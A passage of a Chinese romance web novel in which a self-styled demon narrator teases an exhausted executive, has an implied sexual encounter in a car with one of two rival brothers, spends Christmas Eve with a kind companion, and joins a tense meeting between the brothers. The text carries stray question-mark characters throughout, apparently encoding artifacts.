他?耸了下肩,整个人透着一股被工作榨干的疲惫,懒散地说:“工作是处理不?完的,处理了一个就有下一件事,源源不?断,什么也做不?完。” 越看越觉得像在网吧通宵打了几天?几夜游戏模样。 办公室在他?衬托下,突然显得有点掉价。 工作怎么能没有精气神呢? 我慷慨提议:“我可以给你放假。” 他?勾起?唇角,极淡地笑了一下,“然后呢?让公司业绩下滑,证明我这个管理者毫无价值?” 这话有点咄咄逼人。说完,他?自己先闭了闭眼,抬手用力按了按太阳穴,声音低下去?:“……你就当我连续加班脑子坏了,别在意?。” 我盯着他?苍白的脸看了几秒,忽然取下脖子上的围巾,走过?去?,用厚厚的羊绒一圈圈绕住他?的脖子,甚至遮住了小半张脸。 他?吸了口气,抬起?沉重的眼皮看我,声音闷在织物里:“怎么?想勒死我,换个更听话的?” “也可以。” 我说:“送你礼物和送你一程都可以。” “……还是活着吧。” 他?低笑一声,忽然伸手抓住我的手腕,额头抵在我身前,沉沉地、疲惫不?堪地吐出一口气。 “我有时候觉得,回来是不?是个错误……明知道会这样,我还是做了,一边做还一边后悔,真是有够恶心的。” 他?声音很轻,像梦呓:“我不?喜欢被关?在这里,我讨厌这种感觉。” “那你可以走啊。”我说。 抓着我手腕的力道骤然收紧,随即,他?整个人靠了过?来,手臂环住我的腰,像一株寻找支撑的藤蔓,将脸埋进围巾和我衣服之?间?。 “太难了……”他?叹息般低语,声音模糊不?清,“离开很难,留下也难。” “那你要选哪个?” 他?好像没听清,所以我又问了一遍。 宗朔这才恍然般抬起?头,眼神有些涣散,像刚从一场深梦里挣扎出来,我摸了摸他?的额头,触手一片湿冷。 震惊!宗朔真的工作到身体要垮了! 我觉得有必要提醒一下,说:“生病就休息啊,干嘛固执地来上班。” 他?扯了下嘴角:“原因很多,你要听哪个?” “有抖音讲解版吗?” “因为我想。” 他?又把脸埋了回去?,声音懒洋洋的,透着浓浓的倦意?:“就这样,别动,让我靠一会儿,我有点分不?清是不?是又在做梦了。” 我摸了摸他?的头发,有点干燥,窗外雪下得更大了,几乎要吞没整个城市。 高楼萦绕在雾气中,像是探入云层,玻璃外面不?停地落下水珠,仿佛是在下雨,而不?是下雪。 嗡嗡—— 手机在静谧的办公室里震动起?来。 我掏出来一看,又是一条新?的好友申请。 这次是泉越泽。 要问我为什么知道,因为这人的网名就叫泉越泽,头像是晴空下一栋看起?来就贵得要死的别墅。 我拍了拍宗朔的脑袋,点开消息。 [泉越泽]:希望你还记得我们之?前的约定 [泉越泽]:关?于你的提议,我接受了 [世界第一恶魔大人]:我没同意? [泉越泽]:(文件) 点开,一段清晰的录音在落针可闻的办公室里播放出来。 正?是画展那天?,我让他?代替泉卓逸来试试,以及他?咬着牙说好的对话。 宗朔抬起?头,撩开额前汗湿的头发,露出颓丧优越的五官,他?瞥了我一眼,从鼻子里发出一声意?义不?明的、短促的哼笑。 “哇哦,”他?语调平平,“品味挺独特。” “我只是觉得他?挺有意?思。”我辩解道。 莫名有种被抓包的心虚感,不?对,我干嘛心虚,还心虚的是泉越泽才对。 该死的泉越泽!居然录音! “他?既然答应了,那你随意?呗。”宗朔往后靠在椅背上,往嘴里丢了颗糖,咬得咔咔作响。 “真的?”我有点怀疑,“你刚才好像不?是在夸我。” 想了想,我决定挽回自己的声誉,据理力争道:“明明是他?主动挑衅的,你还记不?记得以前的事,他?那个高傲的态度,肯定要狠狠地消磨一下啊!” “……你说得对。”他?点点头,平淡地说。 “那你现在想怎么样,继续跟姓泉的纠缠,然后发现他?们是神经病后,加倍地折腾他?们,等到两个人都炸了,再拍 拍屁股走人?” 我:“你好像很懂。” 他?逐渐皱紧眉头,往后靠在椅子上说:“算了,你想做什么就做吧。” “但是我要提醒一句,泉越泽不?是个好东西,至于泉卓逸……他?的脑子就不?太好使,迟早有一天?彻底崩溃。” “他?已经崩溃几次了。” 不?是在崩溃的途中,就是已经在崩溃。 但是现在他?成长了,已经不?是以前的那个他?了。 “那不?是更应该离远点吗?” 宗朔转回头,视线紧紧锁住我的脸,观察着我的表情,忽然咧开一个没什么笑意?的笑:“我知道了……你就喜欢看他?们崩溃的样子,是不?是?” 他?自嘲般摇摇头:“看来我得学着点了。” “你也要崩溃一下?” “算了,”他?第三次说出这个词,带着浓浓的厌倦,“我做不?到那份上。” 他?又伸出手,将头抵在我的肚子上,深深地呼吸着,将脖子上的围巾裹紧了些。 我问:“你很冷吗?” “生病了,出冷汗停不?下来。” 他?的呼吸沉闷,消失在围巾里,身体轻微地颤抖着:“不?是大事,反正?我病了会吃药,下雨会打伞,饿了会吃饭。” 他?说着,再次裹紧围巾,像是一条缠绕在脖子上的绳索似的,越来越紧。 “再紧一点就要死了。”我好心的提醒。 “如?果刚才我说让你勒死我,你会怎么做?” “报警。” 他?笑出了声,“不?愧是你啊,真想我进监狱?” 一旦沾上监狱两个字,就再也扯不?下来了。 手机持续震动,我拿起?一看,发现泉越泽发了不?少消息。 [泉越泽]:见个面吧 [泉越泽]:我不?是故意?想要录下文件,只不?过?上次你也拍了照片,同样的方式还给你,很公平,不?是吗? 我想了想,觉得他?的逻辑有点问题,两件事明明都是对他?不?利的,他?怎么就觉得能威胁到我? [世界第一恶魔]:行啊,我在外面,你来接我 对面飞快回了个好。 宗朔的声音幽幽响起?:“看来今天?的视察要提前结束了?” “你待在这里,像坐牢一样。”我评价道,“我像是来探监的。” “说不?定真是呢。” 他?扯了扯嘴角,“不?用等下辈子,现在就有体会了。” 我用围巾捂住他?的嘴,“困了就睡,累了就休息,这样才能更好的工作啊。” “你天?生就是资本家?。” “你是天?生的牛马。” 许久没有回应,我低下头,发现他?埋在围巾里,看着像是睡着了。 拍了两下,他?咕哝一声,说自己要睡觉。 好吧。我把围巾留给他?,转身离开了顶楼。 浦真天?还在楼下大厅等着,看到我,立刻迎了上来。 还没等他?开口,我先说:“等会我有事,你先回家?吧。” “是很重要的事吗?”他?问。 “不?是。” “……嗯。”他?说,“我回去?买菜,你想吃点什么。” 我想了想,说:“都可以。” 他?的目光落在我空荡荡的脖子上,停顿了一瞬,但什么也没问。 另一辆黑色轿车停在门口时,我看到了有点眼熟又有非常陌生的男性,直到他?来到面前,我才想起?这份熟悉感来自何?处。 这不?是在医院见过?的、泉越泽的助理吗? 怎么没有头发了? 助理礼貌地为我拉开车门。我坐进去?,第一眼就看向旁边的泉越泽的头顶。 “……你在看什么?” “头发。”我诚实地说,“看来工作太辛苦会变成秃子。” 前排的挡板缓缓升起?,隔绝了司机的视线。泉越泽收回目光,语气平淡:“秃顶是遗传问题。” “你祖上肯定有秃子,你敢说没有吗?” “……我不?想讨论这个。”他?下颌线绷紧了些。 我忽然伸出手,用手指轻轻碰了碰他?低垂的、白色的睫毛。 他?猛地一颤,下意?识想向后躲,却?又硬生生停住,深绿色的眼睛转向我,像冰冷的宝石。 “你的睫毛为什么是白的?” 他?吸了口气:“白化病的部分症状。” “什么病?” “……白癜风。影响色素沉淀。”他?语速很快,像在背诵医学报告,“母亲遗传的,泉卓逸则遗传了父亲的。” “说不?定你也有神经病,但你不?承认。”我随口道。 他?没接话,只是看着我,白色睫毛在车内昏暗的光线下像结了一层霜。 泉越泽总是一副面无表情、风轻云淡的模样,和萦绕在鼻尖变得甜腻的情感一点也不?像。 他?的情感也和泉卓逸一样,来得莫名其妙。 我又碰了下他?的睫毛,凑近时,他?的瞳孔缩紧,仰靠在后座上,偏着头躲避我的触碰。 泉越泽抓住我的手,轻轻用力,像是在警告。 然后,我忽然按下他?旁边的车窗控制钮。 “哗——!” 冰冷的寒风瞬间?灌满车厢,扑了他?满头满脸。他?的头发和白色睫毛疯狂翻飞,脸颊和鼻尖以肉眼可见的速度变红。 车子似乎微微顿了一下,但良好的隔音让前排毫无动静。 泉越泽猛地转回头,眉头紧锁,眼神里压着火气,声音从牙缝里挤出:“你想干什么?” 我举起?手,指尖接住几片飘进来的雪花,递到他?眼前:“你看,和你的睫毛一个颜色。” 他?盯着我指尖迅速融化的雪水,呼吸有些急促,温热的气息拂过?我的手指,像是被舌头湿漉漉得舔过?似的。 我收回手,问:“你知道我是怎么对泉卓逸的吗?” “命令、践踏。”他?冷冷吐出两个词。 “不?是。”我纠正?道,“我在满足他?啊。” “就像你一样,不?是吗?” “但是对你。” 我说:“你是不?是更喜欢你说的东西。” 他?的呼吸明显乱了,脸颊在寒风和莫名的热度下红得异常。 “既然你要学,那就学得更厉害点吧。” 我凑近他?耳边说:“他?会跪下来,给我舔,而且他?还打了舌钉,嘴上功夫很好,如?果你想替代他?的话,是不?是也应该学习下。” 泉越泽仍然绷着脸,隐隐咬住后槽牙,仿佛被激怒一般。 他?眼中的光亮得刺眼,脸上雪花吹打过?的地方,留下一道道冷湿的痕迹,睫毛上也沾上雪,像鹅羽。 但这个人,总能做出点出人意?料的事。 他?忽然矮下身,单膝抵在宽敞的车座地毯上,俯身靠近,白色的睫毛颤抖得厉害,湿热的呼吸扫过?我的皮肤。 那双深绿色的眼睛像锁定猎物的蛇瞳,紧紧攫住我的视线,当我伸手抓住他?梳理得一丝不?苟的头发时,他?喉间?溢出一声沉重的闷哼,眼睛微微眯起?。 他?们两个都玩得很大啊。 我眯起?眼睛,看向窗外铺天?盖地的雪,外面的寒冷和身体感受到的热度截然不?同。 这就是……冬天?为什么需要热水袋的原因。 就在这时,我的手机在口袋里疯狂震动起?。 掏出来一看,屏幕上跳动着泉卓逸的名字。 我有点疑惑了,他?在车上装了监控吗?怎么来得和以前的宗朔一样准时? [泉卓逸(1.7)]:你是不?是和他?在一起??!为什么?!就这一次,听我一次不?行吗?!我什么都不?要了,我什么都给你!谁都可以,为什么非得是他??!我真的……接受不?了! [泉卓逸(1.7)]:为什么不?回我……他?是不?是就在你身边,我真的快被这个想法逼疯了,我只想要留下你身边,除了他?,只有他?不?可以,你不?是讨厌他?吗?为什么不?拒绝? [泉卓逸(1.7)]:对不?起?……但我求你,就这件事,答应我!他?是个彻头彻尾的疯子!贱人! …… 收回前言,成长是假的。 我看着屏幕上滚动的字句,又低头看了看眼前沉默执行着命令、神情复杂难辨的泉越泽。 泉卓逸骂得挺对。 不?过?…… 膝盖抵在地毯上的人微微蹙眉,眼神却?依然死死盯着我,睫毛上的雪花已经化成水珠,滴落在脸颊上。 他?哥的舌头,倒确实是软的—— 作者有话说:哎哟喂今天的超级极限啊,窝是懒狗,窝困得不行了,先睡[猫爪] 第103章 怪不得?总说色即是空, 放纵一次后,我立马进入了贤者时?间?。 可?惜泉越泽不懂。 继泉卓逸的情绪轰炸后,这位人也?开始了信息攻势。 那天?车里吹的冷风似乎真让他感?冒了,鼻音浓重, 却不忘转发各种《活到一百岁:冬季御寒十大?运动》、《长寿老人秘籍:增强免疫力, 从晨跑开始》等公众号文章。 比浦真天?还离谱, 至少浦真天?现在?早就不看公众号了。 自从上次视察公司后,浦真天?彻底进入了全职保姆状态,主要工作就是跟在?我身后,我去?哪, 他的影子就跟到哪。 哥哥越发频繁地早出晚归,也?不知?道在?做些什么。 这种行为模式……总觉得?很熟悉。 我和浦真天?在?家打游戏度日。 他游戏天?赋惊人,技术飙升得?飞快, 很快成了能带着我在?虚拟世界横着走。 不过他不会骂人,被人坑了也?只是默默点个屏蔽,脾气好得?不像话,如果?宗朔在?的话, 我们三排是无敌的,但?是他不愿意参加,说什么不参加三人活动。 打游戏、看电影、欣赏落地窗风景…… 我的生活恢复平静。 百无聊赖之际,车千亦的电话又来了。 “……演唱会啊。” 我撑着头, 眼睛盯着电视里上蹿下跳的主角, 心不在?焉:“能往后推吗?” “难度很大?。”她?言简意赅, “你今年休得?太久, 已经有风声说你要隐退结婚。如果?再不开演唱会,等于坐实谣言,到时?候的动静, 可?不止现在?这点程度。” “你好好考虑。” 在?家窝得?越久,就越抗拒上班。 虽然钱是个好东西,但?工作实在?无聊,来来去?去?的人,欲望都像从一个模子刻出来的,看得?多了,只觉得?千篇一律,毫无新意。 还有个更根本的原因。 我太有钱了。 唉。 想要的东西轻易就能得?到,反而让人陷入一种空虚的无聊,以前天?天?为生存发愁的时?候,脑子里塞满了怎么填饱肚子,从不知?无聊为何物。 可?现在?,当一切都唾手可?得?,我反而不知?道该干什么了。 虽然作为恶魔,我也?不需要什么崇高目标才能活下去?,但?……真的太无聊了。 人类世界平和得?让我浑身发痒,像长了看不见的跳蚤,总想找个地方蹭一蹭才舒服。 工作是不想工作的。 公司、房子、私人飞机、赛马场……我还能想要什么呢? 难不成真去?统治世界? 这个念头只存活了一秒就被我掐灭,统治世界之后要管的人太多了,那不是短信轰炸,是几十亿张嘴巴在?耳边嗡嗡,合起来就是一只巨型苍蝇。 要不然……回?去?算了? 我正漫无边际地想着,电视里的背景音乐骤然拔高。与此同时?,手机又开始叮咚乱响。 穿着格子围裙的浦真天?从厨房探出头,手里端着一盘边缘微焦的烤面包,脸颊上还沾着几点面粉,在?小麦色的皮肤上格外?醒目。 他苦恼地皱了皱鼻子,抬头提醒:“小冬,你手机在?响。” “让它响。”我懒洋洋地撑着下巴,换了个更瘫的姿势,“我看它能响多久。” 这话听起来像某种电影反派台词,巧的是,电视里正好播到反派绑架主角,狞笑着说“你喊破喉咙也?不会有人来”的经典桥段。 主角傻乎乎地真开始喊“破喉咙破喉咙”,背景音配合着发出罐头笑声。 我摸了摸脸颊,最?终还是伸手捞过手机。 屏幕上塞满了未读消息,数量多得?吓人。 我被开盒了? 心里咯噔一下,但?在?点开其中一后,瞬间?释然。 [圣诞节快乐!小冬大?人相信圣诞老人的存在?吗?相信请扣1,不信请扣2……我猜你扣的是3!恭喜获得?本次大?奖——邛浚的真心道歉一份!PS:放出黑名单即可?领取~] 真心道歉?这算什么廉价奖品。 我闭着眼睛划掉。 电影里,主角忽然发出一声怪叫,变身成苍蝇侠,嗡嗡叫着扑向反派,画面顿时?汁液横飞,奇葩程度突破天?际。 我看得?目瞪口呆,旁边的浦真天?眼疾手快,抓起遥控器换了台。 “明明是圣诞节,居然遇上史诗级烂片。” 我感?慨道:“看来今年圣诞运势不佳。” 浦真天?用袖子蹭掉脸上的面粉,把?失败的作品放在?茶几上,叹了口气:“本想自己做点应景的,但?手艺还是老样?子。”他看向窗外?,轻声说,“也?不知?道明子什么时?候回?来。” 我摸出手机给哥哥发消息。过了好一阵,他才回?复。 [哥]:会晚。你们先睡,别等我 [哥]:今晚有大雪,尽量不要出门 翻看天?气预报,果?然挂着醒目的暴雪预警,但?窗外此刻只是飘着淅淅沥沥的雪沫,远看像雨,丝毫看不出会有多暴烈。 “他说会很晚。” 我转向浦真天?:“我们自己玩吧。” 浦真天?点点头,目光扫过桌上焦黑的面包,又望向窗外?,“那我出去?买个蛋糕吧。毕竟是节日,总得?有点仪式感?。” “仪式感?……”我想了想,“上次圣诞节,你们是不是扮了兔男郎?” 浦真天?耳尖微红,局促地笑了笑:“不是圣诞节,是别的活动……不过那年圣诞大?家确实聚了餐,人不多,但?挺热闹的。” 他脸上掠过一丝恍惚,像被回?忆轻轻触了一下,又迅速掩饰过去?。 “你喜欢热闹?” 他摸了下耳朵,低声说:“有人陪着……至少不会觉得?太冷清。” “那一起去?。”我说,“去?买蛋糕,圣诞节嘛。” 我对圣诞节其实没什么特殊感?情。 学生时?代收过几个包装精美的平安果?,除此之外?,只剩满大?街的圣诞树、红帽子、麋鹿贴纸。 一个由刻板印象堆砌起来的刻板节日。 不如设个恶魔节,所有人都得?扮成恶魔才能上街,聚在?一起说上帝的坏话。 浦真天?脸上漾开温和的笑。他去?换了衣服,又帮我拿来外?套和口罩,回?到客厅时?,手里多了两条叠得?整齐的围巾。 “本来想晚饭时?再给你。”他挠挠脸颊,有些不好意思,“但?明子还没回?……就先戴上吧。” 围巾是柔软的羊绒质地,浅灰色,和哥哥送的那条很像,只是末端多了几个毛茸茸的小球。 我勉为其难地接受了,任由他仔细帮我绕在?脖子上,再套上厚厚的羽绒外?套。镜子里的我顿时?圆了一圈,像只直立行走的企鹅。 出门,两只企鹅走进了风雪里。 因为是圣诞夜,司机休假了。如果?他在?,心里大?概会骂我是个奴隶主,这种天?气还让人出车。 打车也?困难。不过没关?系,浦真天?有车。 得?知?他有车时?,我非要看是什么牌子,结果?发现只是辆普通得?不能再普通的家用车,瞬间?没了兴致。 他的车就像他这个人,能装,实用,车内带着淡淡的、令人安心的香气,但?也?太普通,太随处可?见。 我也?有几辆车,颜升送的,霍亦瑀送的。 但?我没驾照,它们只能像昂贵模型一样?,停在?霍亦瑀那个大?得?离谱的车库里。 车是人类伟大?的发明,除了速度不够快,几乎挑不出毛病。 我们开着车来到城中心,在?商城里的面包店购入一个网红蛋糕。 所谓网红蛋糕,就是叠满了各种词汇的蛋糕。 草莓红丝绒爆浆血糯米蛋糕,再长一点可?以加上流心两个字。 圣诞夜的商场人潮汹涌,仿佛全城的人都挤到了这里。随处可?见牵着孩子的父母、挽着手的情侣、笑闹的朋友。 圣诞树闪着俗气又温暖的光,店员头顶戴着晃悠悠的鹿角。 拿到蛋糕时?,笑容温暖的服务员塞给浦真天?两顶鲜红的圣诞帽:“赠送的小礼物哦!” 浦真天?道了谢,把?其中一顶塞进我手里,然后一手提着蛋糕盒,另一只手牢牢牵住我,逆着人流,艰难地挤出了明亮、嘈杂、热气蒸腾的商场。 踏入室外?冰冷的空气,我才长长舒了口气。 怪不得?企鹅只能待在?南极,商场的温度,我差点被热死,还不能摘口罩。 我甩了下手里的圣诞帽,看向旁边的浦真天?,他正仰头望着商场外?墙巨大?的电子屏幕,上面正播放着最?新季的时?装广告。 我在?闪动的画面里看到了他,穿着羽绒服,面容沉静,甚至有些冷峻地望着镜头。 呵出的白气朦胧了他的侧脸,他眨掉睫毛上的雪粒,有些不好意思地转回?头:“没想到广告投在?这了。” “当模特是不是不能笑?”我问。 他摇摇头,低声说:“摄影师说我笑起来……有点傻气,所以让我板着脸。” 我对他勾勾手指。他愣了愣,顺从地俯下身,棕色的眼睛平视着我,带着询问:“怎么了?” 我把?那顶鲜红的圣诞帽,轻轻戴在?了他头上。 “仪式感?。”我满意地点点头,“现在?你可?以笑了,我觉得?你笑起来更好看。” 他笑起来的时?候,眼睛会弯成温柔的月牙,眉毛微微扬起,像只忍不住想摇尾巴的大?型犬,眼神总是亮晶晶的。 听到我的话,他唇角慢慢勾起,像是熨烫的热水袋。 我也?给自己戴上帽子。 旁边恰好跑过一个兴奋的小孩,嚷嚷着向父母讨要圣诞礼物,我忽然想起什么,问他:“你呢?想要什么圣诞礼物?或者……有什么愿望?” 他的手背被风吹得?冰凉,但?掌心依旧温暖,我把?自己的手塞进他的大?衣口袋,仰头看他。 “说出来,实现概率会提高哦。” “为什么?”他笑着问。 “因为我知?道了。”我挺了挺胸,理直气壮,“而世界上,根本没有圣诞老人。” 不远处那小孩恰好听见,爆发出尖锐爆鸣声,他的父母立刻转头,不满地瞪向我们。 浦真天?赶紧拉着我快步离开,走出一段距离,我才追问:“你还没说呢。” 他低头拍掉肩上的雪,吐出的白雾触及暖黄的路灯光晕,缓缓消散。 他看着我,摇摇头。 “我现在?……没有特别想要的。” “什么都没有?” “现在?已经很好了。” 我也?跟着叹了口气,低头看雪地上我们留下的一长串并排脚印,像被踩出的一条专属小路。 “我也?没有特别想要的了,这种感?觉……大?概就是太有钱了的烦恼吧!” 我颇为深沉地叹了口气,忽然想到什么。 “不对,”我敏锐地说,“你不是想买房吗?钱攒够了?” 浦真天?语出惊人:“差不多吧。” “真的假的?” 我震惊:“模特这么赚钱?” “其实是贷款。” 他弯起眼睛,有点不好意思:“本来想过阵子再告诉你,首付攒够了,剩下的慢慢还,应该没问题。” “那我们可?以做邻居了!”我眼睛一亮,开始幻想,“如果?我们挖条地道把?两家连起来,是不是等于多了一块地?可?以建个地下滑梯,每天?哧溜一下就窜到你家!” 他被我的想法逗笑,傻呵呵地点头。 我玩心大?起,撞了下他的肩膀,抢先一步踩上他前方那个还没被雪覆盖的脚印,大?声宣布:“叮咚,加一分!” 我在?前面左蹦右跳,专挑新鲜的雪地踩,回?头看时?,浦真天?还站在?原地傻笑,鼻尖暴露在?冷空气里,冻得?通红。 我挥挥手,他才笨拙地跟上,试图也?去?踩脚印。 可?惜身体协调性欠佳,差点被自己绊倒,手忙脚乱地护住蛋糕盒,模样?像只被突然提起后颈的狗狗,稳住后,他自己先不好意思地笑了起来。 穿成企鹅还有个坏处:没走几步就开始冒汗。 商场有停车场,但?圣诞夜人非常多,我们的车停在?更远一些的露天?停车场,走过去?还有一段不短的距离。 走着走着,我耍赖不动了。 然后,我们开始了企鹅叠叠乐,我负责提蛋糕,他负责搬运我。 雪越下越大?,来时?路上的脚印早已被新雪覆盖,像是在?一片完整的白毯上开辟新的路径。 我回?头望去?,一行深深的脚印蜿蜒向后,像某种巨大?生物的尾巴。 “你说,如果?蛇长了脚,会有几只?”我趴在?他背上,突发奇想。 “……六只?”他努力思考。 “错!是五只。”我得?意地宣布,“蛇长了脚,那不就是龙嘛!” “也?可?以是蜥蜴。” “蜥蜴太丑了,这样?的蛇没志气,该被进化淘汰。” “蜥蜴只有四条腿,”浦真天?闷笑,“它要是多长一条,说不定就变好看了。” 我把?提着蛋糕盒的手背贴到他冰凉的脸颊上,想冰他一下,他没躲,反而转过头,对着我的手背小心地呵了几口热气:“我来提吧,我可?以单手背你。” “快到了。” 我已经能看到不远处空旷的停车场,几辆车亮着灯缓缓驶出,旁边的居民楼窗口透出暖黄的光,像一块块落在?地上的方糖。 到车边,他小心放下我,接过蛋糕,然后用围巾轻轻拂去?我帽子上积的雪。 我慢吞吞爬进副驾驶,发现车里暖气开得?很足,不知?他何时?远程启动了,冻僵的手背逐渐回?暖,像浸在?温水里。 他把?蛋糕盒在?副驾座上放好,甚至还给它系上了安全带,这才绕回?驾驶座,坐进来时?,睫毛上又沾了几片雪花。 我伸手碰了碰,雪花顷刻融化,变成一滴微小的水珠,消失在?我指尖。 作为十万个为什么,我这次没问。问题,而是说:“只有塑料雪不会化。” 我点头自答:“不过那是假的,冬天?总会过去?。” “但?它也?总会再来。”浦真天?轻声说,“雪花也?是,它可?能也?觉得?,温暖是一触即逝的。” 我大?手一挥:“下次你去?当作家吧!” 电竞选手、模特、厨师、作家……浦真天?要是集齐七种职业,说不定真能召唤神龙。 到时?候,我可?以实现他一个愿望。 “我不行的。” 他拉动雨刷,刮掉前挡玻璃上的雪,叹了口气,“我没那种才华,做了也?是浪费时?间?。” “可?是我们有很多时?间?可?以浪费啊。”我说,“如果?不做点什么,怎么知?道不行呢?” 这句话是从鸡汤合集里提取的。 他看向我,眼中映着细碎的光点,像落进了明亮的灰层,过了几秒,他轻轻点头:“好。” 车刚要启动,车厢里忽然响起圣诞歌的铃声。 我看向浦真天?,只有他会把?这首歌设为来电铃声。 果?不其然,他手忙脚乱地掏出手机,接通电话。 “喂?” 不知?对方说了什么,他的脸色有一瞬间?愣怔,下意识看向我:“可?是我现在?——” 对面打断他的话,让他只能直愣愣地听着。 “你真的……” 他只能沉默地听着,眉头渐渐蹙起,嘴唇抿成一条线,他又看了我一眼,眼神复杂,最?终,他长长地叹了口气说好。 电话挂断。他盯着暗下去?的屏幕,沉默了几秒,才低声开口:“是泉卓逸。” “他怎么了?” “他有事,要我现在?过去?一趟。” 泉卓逸这几天?没给我发消息,到底在?搞些什么?我觉得?这件事不简单,肯定有好玩的事。 于是我一拍座椅:“去?。我也?去?。”—— 作者有话说:又写得长长的了……看我拼一把,能不能今天晚上写完(努努努努努努努努) 第104章 泉卓逸约定见面的地方在一个偏僻的私人餐厅, 一路上雪越下越大,像是?鹅毛似地落向大地。 “他有?没有?说要做什么?” “……只说了让我过去。” 浦真天握着方向盘,手背上的青筋挑动,他微微抿着嘴, “只有?这?一次, 他帮我, 我帮回去,但是?只有?这?一次。” “下次我可以帮你。”我说,“我也认识他哥。” 我拿起手机给浦真天看泉越泽的消息,滑动下全是?对面发的消息, 不由感慨道:“也不知道为什么天天看公众号,到底在看些什么。” “以前?你也给我发过诶,你记得吗。” “嗯……”他抿了下唇, 飞快地看向我的手机屏幕,嘴角扯出一个很淡的、没什么笑意的弧度,“以前?嘛,我也是?从别?人那看到的。” “谁啊?” “我妈。”他吐出两个字, 随即像被烫到似的,迅速转开?话题,“他哥是?个怎么样的人啊?” “你没见过吗?” 我说:“他是?你公司的老板诶,应该会有?什么大头照吧。” 他目光专注地盯着前?方几?乎被雪吞没的路, 摇摇头说:“我没太注意。” “和泉卓逸长得有?点像, 不过要成熟很多, 而且他的睫毛是?白色的。” 按下车窗按钮, 冷风裹着雪花瞬间灌入,我迅速伸手接住一片,在它融化前?递到他眼前?:“你看, 就是?这?样的。” “白色的……” “是?白癜风。”我津津有?味地评价道,“这?个病的名字和他很搭配啊,他也病的不轻。” “但是?小冬好像很喜欢他。” 浦真天手指握紧方向盘,声音混在引擎和风雪声里,有?点闷:“以前?也是?,你选择的是?泉卓逸。” 我理所当然地思索:“因为他好玩嘛。” “……那时候,”他顿了顿,喉结滚动了一下,语气变得迟疑,“小冬会不会觉得我很不要脸?” “当时,我拒绝了你的提议,但最后又死皮赖脸地靠近。” “我已经忘了。” 我摆摆手,不以为意:“反正也不是?什么大事。” “……嗯。” “如果那时候我答应,现在会有?不一样吗?”他问。 “不会吧。”我看着窗外飞速倒退的、模糊的雪幕,“老是?假设如果,多没劲。” 他笑了笑,没再说话,只是?把车开?得更稳了些。 车最终停在私人餐厅前?,门廊下悬着两盏昏黄的灯,像是?萤火虫的屁股,时明时暗。 一个穿着制服的服务生早已等候,快步上前?,毕恭毕敬:“客人,雪天路滑,我帮您停车。” 浦真天有?些迟疑,但我见惯了,将?钥匙交给旁边的服务员。 我熟门熟路地让侍者带路,直奔泉卓逸说的包厢。推开?厚重的隔音门之前?,一股熟悉的、带着冰凉甜腻的气息钻入鼻腔。 奶味冰激凌…… 泉越泽也在这?里? 门开?了。里面的人同时转过头。 泉越泽坐在靠里的位置,端着白瓷茶杯,动作顿在半空,表情有?一丝错愕,随即看向对面。 泉卓逸的反应更大,他几?乎是?从椅子上弹起来?的,瞬间站起身,震惊地说:“你怎么也来?了?” “我不能来?吗?”我拉开?椅子坐下,挑眉看着他,“你是?不是?想干什么坏事,怕被我抓住?” “……不是?!” 他急声反驳,又咬着下唇重重坐回去,手指神经质地抠抓着自己的小臂,仔细看,那上面有?几?道新鲜的、泛红的抓痕。 看上去像是?要发病了。 “泉卓逸,”浦真天开?口,语气带着安抚,“你叫我来?,是?——” 泉卓逸打断他,目光却死死钉在我身上,咬牙切齿地说:“我只叫了你一个人。” “你也多带了一个人啊。” 我指向泉越泽,质疑道:“为什么他能来?我就不能了。” 泉卓逸咬咬牙:“不是?这?个意思。” “他是?自己跟上来?的!” “路上碰到了。”泉越泽喝了茶,云淡风轻地瞥了眼泉卓逸,“这?种状态,谁都看出来?你有?事,上次的提议,你应该慎重考虑一下。” “我、不、去。” 泉卓逸一字一顿,牙关紧咬,语气冰冷,某种近乎崩溃的执拗:“你心里想什么,我一清二楚。我不会让你如愿。” “你以为你有?选择吗?” “你——” 两个人就像炒菜时的水和油,碰在一起注定要炸锅。 作为顶级大厨的我评价道。 “都少说两句吧。”浦真天温声插话,试图调和,“今天过来?是?有?正事?不如先?说说具体要做什么,人多也好商量。” 泉卓逸看向我,绿色的眼中里闪烁着光,当我的视线与他对上时,他却像被烫到般猛地别?开?脸,放在膝上的手攥得死紧,指甲几?乎掐进肉里。 他在恐惧,为什么? 叮。 茶杯被轻轻放回碟子。我循声望去,撞上另一双更为沉静、却也更为深邃的绿眸。 泉越泽看着我,喉结微动,声音还带着一点沙哑:“……大雪天,你不怕感冒吗?” 我拍拍胸口,得意地说:“我身体好,不像你,吹点风就感冒了。” 他的嘴角似乎上扬了点,淡淡道:“上次是?你非要打开?窗户,大冬天吹风。” “那是?你——” “小冬,” 浦真天适时地按住我的肩膀,将?一杯温热的水轻轻推到我面前?,“先?喝点水,暖暖。” 我灌了几?口,看向空空如也的桌面:“所以呢?到底是?来?吃饭,还是?来?吵架,还是?来?演哑剧的?总得说一下吧。” “我有?私事要和浦真天说。” 泉卓逸深吸一口气,像是?用尽了力?气才说出来?,声音干涩,“……是?很私人的事,不方便在这?里说。” 我提议:“那你们去厕所说吧。” “……下次吧。”他摇摇头,目光垂下,紧盯着手机,指尖微微颤抖,像是?在确认或克制什么。 但泉越泽打断他,放下茶杯:“你觉得还有?下次吗?” “这?是?我的事。” “从小到大,你没有?干成过一件事。”泉越泽冷淡地说,像是?在平静地评价,语气里带着无数根刺,“今天急急忙忙出来?就是?为了让别?人帮忙,结果人来?了,你又说没事。” “我很难不相?信有?别?的理由。” 他抬眼,目光锐利地刺向泉卓逸:“比如说……是?因为现场出现了意外的人。” 泉卓逸的脸色苍白,像一张被揉皱又摊开?的纸,但仍然握紧拳头,固执地说:“和你无关。” “不管是?我还是?她?,你要做的事注定是?做不了了。” “下一次。”泉越泽靠向椅背,姿态松弛,却带着居高临下的压迫感,“下一次你该回A市去了。” “……” 空气凝固了,只剩下窗外隐约的风雪呜咽。 我托着腮,看看脸色惨白、浑身发抖的泉卓逸,又看看面无表情、云淡风轻的泉越泽。 像是?在训斥小孩子一样。 “你们两个。”我十分疑惑,“真的是?兄弟?不是?仇人?” “我已经仁至义尽。”泉越泽淡淡道。 “呵。” 一直低着头的泉卓逸忽然发出一声短促的、扭曲的冷笑:“我宁愿从来?没有?出生在这?个家。” 手机在口袋里震动起来?,打破了令人窒息的沉默。 [Y.Y]:你在哪? [世界第一恶魔大人]:怎么了? [Y.Y]:有?人说你在他那,我只当做是?挑衅了 [Y.Y]:(截图) 图片里的另一个人很现实颜升,他的头像尤其?花里胡哨,挑衅地说我在他那,甚至问霍亦瑀要衣服穿。 颜升又开?始发神经了,但我还没回复,对面的新消息先?弹了出来?。 [Y.Y]:但这?么久没见面,你没有?什么想和我说的吗? 